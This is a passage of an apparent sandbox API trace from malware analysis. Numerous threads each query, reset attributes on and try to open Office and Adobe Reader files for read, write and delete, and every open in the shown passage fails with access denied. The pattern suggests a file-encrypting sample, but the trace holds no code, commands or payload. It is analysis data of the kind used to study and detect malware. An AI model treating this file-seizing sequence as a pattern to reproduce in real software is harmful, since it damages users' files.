office\\clipart\\pub60cor\\bs00186_.wmf")) returned 0x20 [0168.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF", dwFileAttributes=0x20) returned 0 [0168.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00186_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0168.671] GetLastError () returned 0x5 [0168.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00186_.WMF", dwFileAttributes=0x20) returned 0 [0168.671] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f75f8) returned 1 Thread: id = 5833 os_tid = 0x1928 [0167.610] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\eten-b5-h")) returned 0x20 [0168.896] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-H", dwFileAttributes=0x20) returned 0 [0168.897] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\eten-b5-h"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0168.897] GetLastError () returned 0x5 [0168.897] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETen-B5-H", dwFileAttributes=0x20) returned 0 [0168.897] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7328) returned 1 Thread: id = 5858 os_tid = 0x1990 [0167.849] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\dynamic.pdf")) returned 0x20 [0167.850] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Dynamic.pdf", dwFileAttributes=0x20) returned 0 [0167.852] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\dynamic.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0167.854] GetLastError () returned 0x5 [0167.854] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Dynamic.pdf", dwFileAttributes=0x20) returned 0 [0167.856] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c7e80) returned 1 Thread: id = 5859 os_tid = 0x1994 [0167.857] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\faces.pdf")) returned 0x20 [0168.677] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Faces.pdf", dwFileAttributes=0x20) returned 0 [0168.677] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\faces.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0168.677] GetLastError () returned 0x5 [0168.677] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Faces.pdf", dwFileAttributes=0x20) returned 0 [0168.677] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6b00) returned 1 Thread: id = 5860 os_tid = 0x1998 [0167.858] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\pointers.pdf")) returned 0x20 [0168.394] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Pointers.pdf", dwFileAttributes=0x20) returned 0 [0168.394] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\pointers.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0168.395] GetLastError () returned 0x5 [0168.395] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Pointers.pdf", dwFileAttributes=0x20) returned 0 [0168.395] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b9eb8) returned 1 Thread: id = 5897 os_tid = 0x1f10 [0168.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare\\wssfilestoolhomepagebackground.jpg")) returned 0x20 [0168.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg", dwFileAttributes=0x20) returned 0 [0168.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\documentshare\\wssfilestoolhomepagebackground.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0168.411] GetLastError () returned 0x5 [0168.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\WSSFilesToolHomePageBackground.jpg", dwFileAttributes=0x20) returned 0 [0168.411] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x91b928) returned 1 Thread: id = 5898 os_tid = 0x1f14 [0168.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimage.jpg")) returned 0x20 [0168.099] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImage.jpg", dwFileAttributes=0x20) returned 0 [0168.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimage.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0168.103] GetLastError () returned 0x5 [0168.103] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImage.jpg", dwFileAttributes=0x20) returned 0 [0168.104] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fea88) returned 1 Thread: id = 5899 os_tid = 0x1f18 [0168.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimagemask.bmp")) returned 0x20 [0168.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImageMask.bmp", dwFileAttributes=0x20) returned 0 [0168.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\activetabimagemask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0168.111] GetLastError () returned 0x5 [0168.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\ActiveTabImageMask.bmp", dwFileAttributes=0x20) returned 0 [0168.113] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bba58) returned 1 Thread: id = 5900 os_tid = 0x1f20 [0168.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\BodyPaneBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\bodypanebackground.jpg")) returned 0x20 [0169.457] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\BodyPaneBackground.jpg", dwFileAttributes=0x20) returned 0 [0169.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\BodyPaneBackground.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\bodypanebackground.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0169.458] GetLastError () returned 0x5 [0169.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\BodyPaneBackground.jpg", dwFileAttributes=0x20) returned 0 [0169.458] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bbb48) returned 1 Thread: id = 5901 os_tid = 0x1f28 [0168.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimage.jpg")) returned 0x20 [0169.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImage.jpg", dwFileAttributes=0x20) returned 0 [0169.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimage.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0169.459] GetLastError () returned 0x5 [0169.459] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImage.jpg", dwFileAttributes=0x20) returned 0 [0169.459] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909700) returned 1 Thread: id = 5902 os_tid = 0x1f2c [0168.116] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimagemask.bmp")) returned 0x20 [0169.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImageMask.bmp", dwFileAttributes=0x20) returned 0 [0169.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\inactivetabimagemask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0169.460] GetLastError () returned 0x5 [0169.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\InactiveTabImageMask.bmp", dwFileAttributes=0x20) returned 0 [0169.460] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bbc38) returned 1 Thread: id = 5903 os_tid = 0xa50 [0168.117] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimages.jpg")) returned 0x20 [0169.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImages.jpg", dwFileAttributes=0x20) returned 0 [0169.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimages.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0169.463] GetLastError () returned 0x5 [0169.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImages.jpg", dwFileAttributes=0x20) returned 0 [0169.463] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9097e8) returned 1 Thread: id = 5904 os_tid = 0x1f30 [0168.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimagesmask.bmp")) returned 0x20 [0169.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImagesMask.bmp", dwFileAttributes=0x20) returned 0 [0169.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImagesMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\groovedocumentreview\\markupiconimagesmask.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0169.456] GetLastError () returned 0x5 [0169.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveDocumentReview\\MarkupIconImagesMask.bmp", dwFileAttributes=0x20) returned 0 [0169.457] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bbd28) returned 1 Thread: id = 5905 os_tid = 0x1f40 [0168.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\button.gif")) returned 0x20 [0168.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\BUTTON.GIF", dwFileAttributes=0x20) returned 0 [0168.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\button.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0168.926] GetLastError () returned 0x5 [0168.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\BUTTON.GIF", dwFileAttributes=0x20) returned 0 [0168.926] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b9d28) returned 1 Thread: id = 5906 os_tid = 0x1f44 [0168.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\header.gif")) returned 0x20 [0170.443] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\HEADER.GIF", dwFileAttributes=0x20) returned 0 [0171.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\header.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.280] GetLastError () returned 0x5 [0174.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\HEADER.GIF", dwFileAttributes=0x20) returned 0 [0174.281] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4ba8e0) returned 1 Thread: id = 5907 os_tid = 0x1f48 [0168.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\tab_off.gif")) returned 0x20 [0170.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\TAB_OFF.GIF", dwFileAttributes=0x20) returned 0 [0171.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\tab_off.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.329] GetLastError () returned 0x5 [0174.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\TAB_OFF.GIF", dwFileAttributes=0x20) returned 0 [0174.329] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4bac00) returned 1 Thread: id = 5908 os_tid = 0x1f50 [0168.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\tab_on.gif")) returned 0x20 [0170.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\TAB_ON.GIF", dwFileAttributes=0x20) returned 0 [0171.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\babyblue\\tab_on.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.330] GetLastError () returned 0x5 [0174.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\BabyBlue\\TAB_ON.GIF", dwFileAttributes=0x20) returned 0 [0174.330] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4ba048) returned 1 Thread: id = 5909 os_tid = 0x1f54 [0168.119] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL105.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl105.xml")) returned 0x20 [0168.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL105.XML", dwFileAttributes=0x20) returned 0 [0168.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL105.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl105.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0168.120] GetLastError () returned 0x5 [0168.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL105.XML", dwFileAttributes=0x20) returned 0 [0168.120] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7f88) returned 1 Thread: id = 5910 os_tid = 0x1f58 [0168.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL106.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl106.xml")) returned 0x20 [0169.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL106.XML", dwFileAttributes=0x20) returned 0 [0169.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL106.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl106.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0169.756] GetLastError () returned 0x5 [0169.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL106.XML", dwFileAttributes=0x20) returned 0 [0169.756] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e80a8) returned 1 Thread: id = 5911 os_tid = 0x9f8 [0168.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL107.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl107.xml")) returned 0x20 [0169.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL107.XML", dwFileAttributes=0x20) returned 0 [0169.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL107.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl107.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0169.758] GetLastError () returned 0x5 [0169.758] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL107.XML", dwFileAttributes=0x20) returned 0 [0169.758] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e7208) returned 1 Thread: id = 5912 os_tid = 0x1fd0 [0168.208] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL108.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl108.xml")) returned 0x20 [0169.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL108.XML", dwFileAttributes=0x20) returned 0 [0169.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL108.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl108.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0169.759] GetLastError () returned 0x5 [0169.759] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL108.XML", dwFileAttributes=0x20) returned 0 [0169.759] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6758) returned 1 Thread: id = 5913 os_tid = 0x1fd4 [0168.209] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL109.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl109.xml")) returned 0x20 [0169.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL109.XML", dwFileAttributes=0x20) returned 0 [0169.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL109.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl109.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0169.763] GetLastError () returned 0x5 [0169.763] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL109.XML", dwFileAttributes=0x20) returned 0 [0169.763] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8378) returned 1 Thread: id = 5914 os_tid = 0x1fd8 [0168.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL110.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl110.xml")) returned 0x20 [0169.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL110.XML", dwFileAttributes=0x20) returned 0 [0169.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL110.XML" (normalized: "c:\\program files\\microsoft 